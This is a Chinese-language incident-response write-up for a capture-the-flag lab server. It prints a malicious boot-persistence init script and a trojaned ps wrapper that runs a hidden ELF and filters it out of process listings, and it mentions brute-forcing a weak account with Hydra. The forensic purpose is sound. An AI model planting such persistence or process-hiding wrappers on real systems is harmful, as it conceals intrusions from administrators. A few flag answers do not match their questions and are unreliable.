渗透测试靶机-服务器存在后门-Writeup

应急响应

任务环境说明:

    - 服务器场景:Server2229 (开放链接)
- 用户名:root 密码:p@ssw0rd123

找出黑客植入到系统中的二进制木马程序,并将木马程序的名称作为Flag值(若存在多个提交时使用英文逗号隔开,例如bin,sbin,…)提交;

flag-1

首先我们的思路就是查看用户曾经执行过的命令

cat /etc/init.d/cpuspeed

cpuspeed程序是一个shell脚本,其存放在/etc/init.d(Linux的开机自启目录下),并且是有执行权限的,实现开机自启动,该shell脚本执行之后又使用/bin/bash后台执行了,但是由于题目要求的是二进制木马,所以shell脚本被排除了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash
#A backdoor program
#chkconfig: 2345 23 80

###BEGIN INIT INFO
#Provides: pyseclabs.com
#Required-Start: $local_fs $network
#Required-Stop: $local_fs
#Default-Start: 2 3 4 5
#Default-Stop: 0 1 6
#Short-Description: wsocket service
#Description: wsocket service daemon
###END INIT INFO
/bin/bash /home/guest/.zshrc_history &
exit 0

cat /home/guest/.zshrc_history

1
/home/redflag/.shell.elf &

所以我们就得到了第一个flag{.shell.elf}

flag-2

继续来到用户目录搜查,我们在这里发现一个ps文件,直接执行权限不够,所以我们给一个执行权


我们在/usr/bin/ps命令下发现这里执行了centos_core.elf文件,而elf文件大多数都是由msfvenom生成的反弹shell木马,这里我们得到第二个恶意程序为centos_core.elf
所以我们就得到了第二个flag{centos_core.elf}

找出被黑客修改的系统默认指令,并将被修改的指令里最后一个单词作为Flag值提交;
刚才在找第二个flag 就看见了 ps 命令被修改过了,所以我们只需要找到他的路径

1
2
3
4
5
6
7
[root@localhost guest]# ps
/usr/bin/ps:行2: /centos_core.elf: 权限不够
4397 pts/1 00:00:00 bash

[root@localhost guest]# cat /usr/bin/ps
#!/bin/bash
/centos_core.elf & /.hide_command/ps |grep -v "shell" | grep -v "centos_core" | grep "bash"

我们查看该文件,发现最后一个单词为
所以 flag{bash}

找出被黑客替换的系统指令,并将其绝对路径作为Flag值提交;

flag{/usr/bin}

找出被黑客修改的服务配置文件,将文件的md5值前四位作为Flag值提交;

查看开放的端口,大概搜索一下本机存在的服务

1
ss -tli

  • /etc/ssh/sshd_config,未发现修改痕迹
  • /etc/vsftpd/vsftpd.conf,未发现修改痕迹

cat /etc/my.cnf
这里再看的时候发现,secure_file_priv配置指向的居然是apache目录,那么这个大概率就是被修改过的配置文件

1
2
[root@localhost guest]# md5sum /etc/my.cnf
a870a4cdbf58a62956fab97aa3f60daa /etc/my.cnf

flag{a87}

5.找出系统中的弱口令账号,将该账号的用户名及密码作为Flag值(用户名和密码之间用英文冒号隔开,例如:root:toor)提交

这个简单,查看/etc/passwd看下用户名,然后使用九头蛇爆破下就得到了

flag{admin:aaaaab}